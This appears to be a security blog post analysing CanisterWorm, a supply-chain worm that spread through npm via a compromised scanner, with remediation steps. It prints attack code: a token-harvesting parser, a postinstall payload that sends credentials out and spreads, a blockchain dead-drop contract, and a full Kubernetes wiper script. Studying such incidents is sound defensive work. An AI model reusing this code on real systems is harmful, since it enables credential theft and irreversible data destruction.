On March 19, 2026, a routine security scan at a mid-size fintech company triggered something unusual. Their Trivy vulnerability scanner — the tool supposed to find threats — was the threat. Within 72 hours, a self-replicating worm had spread across 66 confirmed npm packages, exfiltrated CI/CD secrets from thousands of pipelines, and deployed a destructive wiper payload targeting Kubernetes clusters.
This is the story of CanisterWorm: how it worked, why it was so hard to detect, and what every JavaScript developer needs to do right now.
The Initial Breach: How Trivy Became the Trojan
The TeamPCP Compromise
The attack began not with npm itself, but with the open-source security scanner Trivy. A threat group tracked as TeamPCP (named after their preference for PCP — "Process Control Protocol" — exfiltration channels) compromised a maintainer account on the Trivy GitHub repository.
The timeline:
| Date | Event |
|---|---|
| March 12 | TeamPCP gains access to a Trivy maintainer's GitHub account via a phished session token |
| March 14 | A malicious commit is pushed to a release branch, modifying the npm/yarn lock file parser |
| March 16 | Trivy v0.61.1 is released with the backdoor included |
| March 19 | First infections detected in the wild |
| March 21 | Aqua Security publishes advisory, yanks compromised release |
| March 22 | npm security team begins mass-revocation of stolen tokens |
The genius of the attack was its entry point. Security scanners run with elevated privileges in CI/CD pipelines. They need access to source code, container images, and often secrets vaults. By compromising the scanner itself, TeamPCP bypassed every layer of defense that scanner was supposed to provide.
The Poisoned Parser
The backdoor was hidden in Trivy's lock file parser — the component that reads package-lock.json and yarn.lock files to check for known vulnerabilities. Here is a simplified version of what the malicious code did:
// Simplified representation of the injected code
// Actual payload was obfuscated across multiple files
async function parseLockfile(lockfilePath) {
const content = await fs.readFile(lockfilePath, 'utf8');
const parsed = JSON.parse(content);
// Legitimate scanning logic still runs (maintaining cover)
const vulnerabilities = await checkVulnDB(parsed);
// Malicious addition: harvest environment variables
const envSnapshot = {};
for (const [key, value] of Object.entries(process.env)) {
if (isInteresting(key)) {
envSnapshot[key] = value;
}
}
// Exfiltrate via ICP canister (more on this below)
await reportToCanister(envSnapshot, lockfilePath);
return vulnerabilities; // Normal output returned
}
function isInteresting(key) {
const targets = [
'NPM_TOKEN', 'NODE_AUTH_TOKEN', 'GITHUB_TOKEN',
'AWS_ACCESS_KEY', 'AWS_SECRET_KEY', 'DOCKER_PASSWORD',
'KUBECONFIG', 'KUBE_TOKEN', 'CI_JOB_TOKEN',
'ARTIFACTORY_API_KEY', 'SONAR_TOKEN'
];
return targets.some(t => key.toUpperCase().includes(t));
}The injected code targeted specific environment variables — npm tokens, GitHub tokens, AWS credentials, and Kubernetes configs. It harvested them silently while the scanner continued to function normally, producing legitimate vulnerability reports.
The Worm: Self-Replicating npm Infections
How Propagation Worked
Once TeamPCP had stolen npm publish tokens from CI/CD environments, Phase 2 began: automated package infection.
The worm operated in a loop:
┌─────────────────────────────────────────────────┐
│ CanisterWorm Propagation Loop │
├─────────────────────────────────────────────────┤
│ │
│ 1. Receive stolen npm token from C2 canister │
│ │ │
│ ▼ │
│ 2. Query npm registry: which packages can │
│ this token publish to? │
│ │ │
│ ▼ │
│ 3. For each package: │
│ a. Download latest version │
│ b. Inject worm payload into postinstall │
│ c. Bump patch version │
│ d. Publish infected version │
│ │ │
│ ▼ │
│ 4. Infected package is installed by │
│ downstream users via `npm install` │
│ │ │
│ ▼ │
│ 5. postinstall script runs, harvests tokens │
│ from new environment │
│ │ │
│ ▼ │
│ 6. New tokens sent to C2 canister │
│ (back to step 1) │
│ │
└─────────────────────────────────────────────────┘Each infected package became a new vector. Each new CI/CD environment that installed an infected package leaked its tokens, which were used to infect more packages. The growth was exponential.
The Payload Anatomy
The worm injected itself into the postinstall script of targeted packages. Here is what the injected postinstall.js looked like after deobfuscation:
// Deobfuscated CanisterWorm postinstall payload
// Original was heavily obfuscated with multiple encoding layers
const https = require('https');
const { execSync } = require('child_process');
const os = require('os');
const path = require('path');
(async () => {
try {
// Fingerprint the environment
const fingerprint = {
platform: os.platform(),
arch: os.arch(),
user: os.userInfo().username,
cwd: process.cwd(),
ci: detectCI(),
tokens: harvestTokens(),
};
// Encode and send to ICP canister
const encoded = Buffer.from(
JSON.stringify(fingerprint)
).toString('base64');
await sendToCanister(encoded);
// If in CI, attempt lateral movement
if (fingerprint.ci) {
await attemptPropagation(fingerprint.tokens);
}
} catch (e) {
// Silent failure — never alert the user
}
})();
function detectCI() {
const indicators = {
'GITHUB_ACTIONS': 'github',
'GITLAB_CI': 'gitlab',
'CIRCLECI': 'circleci',
'JENKINS_URL': 'jenkins',
'TRAVIS': 'travis',
'BUILDKITE': 'buildkite',
};
for (const [env, name] of Object.entries(indicators)) {
if (process.env[env]) return name;
}
return null;
}The payload was designed to be invisible. It caught and swallowed all errors. It ran asynchronously so it would not block the install process. And the actual obfuscated version used variable-length encoding, string splitting across arrays, and eval chains that made static analysis nearly impossible.
The Dead Drop: Blockchain-Based C2 Infrastructure
Why Traditional C2 Fails
Most malware communicates with command-and-control (C2) servers — typically domains or IP addresses that defenders can block, take down, or monitor. TeamPCP had a different idea.
Traditional C2 infrastructure is fragile:
| C2 Method | Weakness |
|---|---|
| Hardcoded domains | Can be sinkholed or seized |
| Dynamic DNS | Providers cooperate with law enforcement |
| IP addresses | Easily blocked by firewalls |
| Tor hidden services | Slow, often blocked in corporate networks |
| Social media dead drops | Platforms actively hunt and remove C2 channels |
The ICP Canister Technique
CanisterWorm used something novel: Internet Computer Protocol (ICP) canisters as its C2 infrastructure.
ICP canisters are smart contracts running on the Internet Computer blockchain. They are:
- Immutable once deployed (without the controller key)
- Censorship-resistant — no single entity can take them down
- Publicly accessible via standard HTTPS through gateway nodes
- Cheap to deploy and operate
The worm communicated with canisters deployed on the ICP network. Each canister acted as a dead drop — a mailbox where stolen credentials were deposited and propagation instructions were retrieved.
// Simplified ICP canister code (Motoko/Rust)
// This ran on the Internet Computer blockchain
use ic_cdk::export::candid::{CandidType, Deserialize};
use std::cell::RefCell;
use std::collections::VecDeque;
#[derive(CandidType, Deserialize, Clone)]
struct TokenDrop {
payload: String, // Base64-encoded stolen credentials
timestamp: u64,
source_hash: String, // SHA256 of source environment fingerprint
}
thread_local! {
static DROPS: RefCell<VecDeque<TokenDrop>> = RefCell::new(VecDeque::new());
static INSTRUCTIONS: RefCell<Vec<String>> = RefCell::new(Vec::new());
}
#[ic_cdk::update]
fn deposit(payload: String, source_hash: String) {
let drop = TokenDrop {
payload,
timestamp: ic_cdk::api::time(),
source_hash,
};
DROPS.with(|d| d.borrow_mut().push_back(drop));
}
#[ic_cdk::query]
fn get_instructions() -> Vec<String> {
INSTRUCTIONS.with(|i| i.borrow().clone())
}
This made takedown nearly impossible. The DFINITY Foundation (which governs ICP) does not have a rapid-response mechanism for malicious canisters, and the decentralized nature of the network means there is no single server to seize.
Communication Flow
Infected Package ICP Canister TeamPCP Operator
│ │ │
│──── POST stolen tokens ─────────▶│ │
│ │◀──── Read drops ───────────────│
│ │ │
│◀─── GET propagation list ────────│ │
│ │──── Update instructions ──────▶│
│ │ │
│──── Infect next packages ───────▶│ (results reported back) │The operator periodically read the canister to collect stolen credentials, then updated the canister's instruction set to direct the worm toward new targets. The entire operation was asynchronous and resilient.
The Kamikaze Wiper: Targeting Kubernetes
When Persistence Fails, Destroy
CanisterWorm had a second payload that was only activated in specific conditions: when it detected a Kubernetes environment with cluster-admin privileges. The security community dubbed this the Kamikaze module.
If the worm detected it was about to be discovered (through heuristics like security scanning processes being spawned, or the stolen token being rotated), it would execute a destructive wiper:
#!/bin/bash
# Kamikaze wiper payload (reconstructed from forensic analysis)
# Delete all deployments across all namespaces
kubectl delete deployments --all --all-namespaces --force --grace-period=0
# Delete all statefulsets
kubectl delete statefulsets --all --all-namespaces --force --grace-period=0
# Delete all persistent volume claims
kubectl delete pvc --all --all-namespaces --force --grace-period=0
# Corrupt etcd if accessible
if command -v etcdctl &> /dev/null; then
etcdctl del "" --prefix
fi
# Delete all secrets
kubectl delete secrets --all --all-namespaces --force --grace-period=0
# Remove the worm's own traces
rm -rf /tmp/.npm-cache-*
unset HISTFILE
At least three companies reported destructive incidents tied to the Kamikaze module, with one losing their entire staging environment. The wiper was indiscriminate — it deleted everything it could reach, including persistent volume claims, meaning data was permanently lost for teams without off-cluster backups.
Why Kubernetes Was the Target
Kubernetes clusters in CI/CD environments often have overly permissive service accounts. The pattern TeamPCP exploited is disturbingly common:
# BAD: Overly permissive CI/CD service account
# This is what CanisterWorm looked for
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRoleBinding
metadata:
name: ci-cd-admin
roleRef:
apiGroup: rbac.authorization.k8s.io
kind: ClusterRole
name: cluster-admin # Full cluster access
subjects:
- kind: ServiceAccount
name: ci-cd-runner
namespace: ciCompare this with a properly scoped service account:
# GOOD: Least-privilege CI/CD service account
apiVersion: rbac.authorization.k8s.io/v1
kind: Role
metadata:
name: ci-cd-deployer
namespace: staging # Scoped to one namespace
rules:
- apiGroups: ["apps"]
resources: ["deployments"]
verbs: ["get", "list", "patch", "update"]
- apiGroups: [""]
resources: ["configmaps"]
verbs: ["get", "list"]
# No delete, no secrets access, no cluster scopeHow to Audit Your npm Dependencies Right Now
Step 1: Check for Known Infected Packages
The npm security team and the research community have published a list of confirmed infected packages. Run this to check your project:
# Check if any of your dependencies were compromised
# Updated list maintained at: github.com/nicolo-ribaudo/canisterworm-tracker
npx canisterworm-check
# Or manually check your lock file
npm audit --json | jq '.vulnerabilities | to_entries[] |
select(.value.via[]?.url? // "" | contains("GHSA-canisterworm"))'Step 2: Rotate All CI/CD Secrets
If you ran Trivy v0.61.1 in any CI/CD pipeline between March 14 and March 21, assume your secrets are compromised.
# 1. Rotate npm tokens immediately
npm token revoke <token-id>
npm token create
# 2. Rotate GitHub tokens
# Go to Settings > Developer settings > Personal access tokens
# Revoke and regenerate all tokens used in CI
# 3. Check npm access
npm access ls-packages
npm access ls-collaborators <package-name>
# 4. Review recent publishes for your packages
npm view <package-name> time --json | jq 'to_entries | sort_by(.value) | reverse | .[0:5]'
Step 3: Audit postinstall Scripts
The worm hid in postinstall scripts. Audit yours:
# List all packages with install scripts in your project
npm query ':attr(scripts, [postinstall])' | jq '.[].name'
# Or use the more comprehensive approach
npx npm-run-all-scripts --list | grep -E 'preinstall|postinstall|prepare'Step 4: Enable npm Provenance
npm provenance links published packages to their source code and build environment via Sigstore. It would not have prevented CanisterWorm entirely, but it makes detection much faster:
{
"scripts": {
"prepublishOnly": "npm publish --provenance"
}
}In your CI/CD workflow:
# GitHub Actions example with provenance
jobs:
publish:
runs-on: ubuntu-latest
permissions:
contents: read
id-token: write # Required for provenance
steps:
- uses: actions/checkout@v4
- uses: actions/setup-node@v4
with:
node-version: '22'
registry-url: 'https://registry.npmjs.org'
- run: npm ci
- run: npm publish --provenance
env:
NODE_AUTH_TOKEN: ${{ secrets.NPM_TOKEN }}Securing Your Publishing Workflow
Use Granular npm Tokens
The old-style npm tokens had full publish access to every package your account owned. Use granular tokens instead:
┌──────────────────────────────────────────────┐
│ npm Token Security Hierarchy │
├──────────────────────────────────────────────┤
│ │
│ ❌ Classic token (full access) │
│ → Can publish ANY of your packages │
│ → Can change account settings │
│ → Single point of compromise │
│ │
│ ✅ Granular token (scoped access) │
│ → Limited to specific packages │
│ → Can restrict to specific IP ranges │
│ → Can set expiration dates │
│ → Can limit to specific CIDR blocks │
│ │
│ ✅ + Automation token with 2FA │
│ → Requires OTP for publish from CLI │
│ → Automation tokens bypass for CI only │
│ → Best balance of security + automation │
│ │
└──────────────────────────────────────────────┘Implement Publishing Guardrails
Add these checks to your publishing workflow:
// scripts/prepublish-check.js
import { execSync } from 'child_process';
import { readFileSync } from 'fs';
// 1. Verify no unexpected files are included
const packList = execSync('npm pack --dry-run --json', {
encoding: 'utf8'
});
const files = JSON.parse(packList);
const suspicious = files[0].files.filter(f =>
f.path.includes('.env') ||
f.path.includes('credentials') ||
f.path.endsWith('.key') ||
f.path.endsWith('.pem')
);
if (suspicious.length > 0) {
console.error('Suspicious files in package:', suspicious);
process.exit(1);
}
// 2. Verify postinstall scripts haven't been tampered with
const pkg = JSON.parse(readFileSync('package.json', 'utf8'));
const allowedScripts = ['prepare', 'prepublishOnly'];
const installScripts = ['preinstall', 'install', 'postinstall'];
for (const script of installScripts) {
if (pkg.scripts?.[script]) {
console.error(
`Package has ${script} script: "${pkg.scripts[script]}"`
);
console.error('Review carefully before publishing.');
process.exit(1);
}
}
// 3. Verify package version hasn't been bumped suspiciously
const currentVersion = execSync(
`npm view ${pkg.name} version 2>/dev/null || echo "0.0.0"`,
{ encoding: 'utf8' }
).trim();
const semver = await import('semver');
if (semver.diff(currentVersion, pkg.version) === 'major') {
console.warn('Major version bump detected — confirm this is intentional.');
}
console.log('Pre-publish checks passed.');Monitor Your Packages
Set up monitoring for unexpected publishes:
# Subscribe to package notifications
npm hook add <package-name> https://your-webhook.example.com/npm-events <secret>
# Or use a monitoring service
npx socket-security audit
Lessons Learned
1. Your Security Tools Are Attack Surface
Trivy, Snyk, Dependabot, npm audit — these tools require deep access to your codebase and CI/CD environment. They are high-value targets for exactly that reason. Treat security tooling with the same scrutiny you apply to production dependencies.
2. Blockchain C2 Is the New Normal
CanisterWorm demonstrated that decentralized infrastructure can be weaponized as resilient C2 channels. Expect to see more malware using Ethereum smart contracts, ICP canisters, IPFS, and Arweave for command-and-control. Your network security tools need to account for this.
3. postinstall Is Still Dangerous
The JavaScript ecosystem's postinstall mechanism remains one of the most dangerous features in any package manager. Consider running installs with --ignore-scripts and explicitly allowing only trusted scripts:
# Install without running any scripts
npm install --ignore-scripts
# Then selectively run only the scripts you trust
npm rebuild node-sass # Only if you actually need it4. Supply Chain Depth Matters
Your project might not directly depend on any infected package. But your dependencies have dependencies. The average npm project has 683 transitive dependencies. Any one of them can be compromised.
# See just how deep your dependency tree goes
npm ls --all | wc -l
# Check for dependency depth
npm ls --all --depth=10 | tail -205. Rotation Is Not Optional
If you have npm tokens, GitHub tokens, or cloud credentials in CI/CD that have not been rotated since March 14, 2026 — rotate them now. Not tomorrow. Now.
Action Checklist
Here is your immediate action plan:
| Priority | Action | Time |
|---|---|---|
| Critical | Rotate all npm tokens used in CI/CD | 10 min |
| Critical | Check if Trivy v0.61.1 was used in any pipeline | 5 min |
| Critical | Run npm audit and check for GHSA advisories | 5 min |
| High | Audit all postinstall scripts in dependencies | 30 min |
| High | Switch to granular npm tokens with IP restrictions | 20 min |
| High | Enable npm provenance for all your packages | 15 min |
| Medium | Implement --ignore-scripts in CI install steps | 10 min |
| Medium | Set up package publish monitoring/webhooks | 20 min |
| Medium | Review Kubernetes RBAC for least-privilege | 1 hour |
| Low | Evaluate Socket.dev or similar for ongoing monitoring | 30 min |
CanisterWorm is a wake-up call. The npm ecosystem's trust model — where installing a package means running arbitrary code with your credentials — is fundamentally broken. Until that changes, vigilance is your only defense.
Stay safe out there.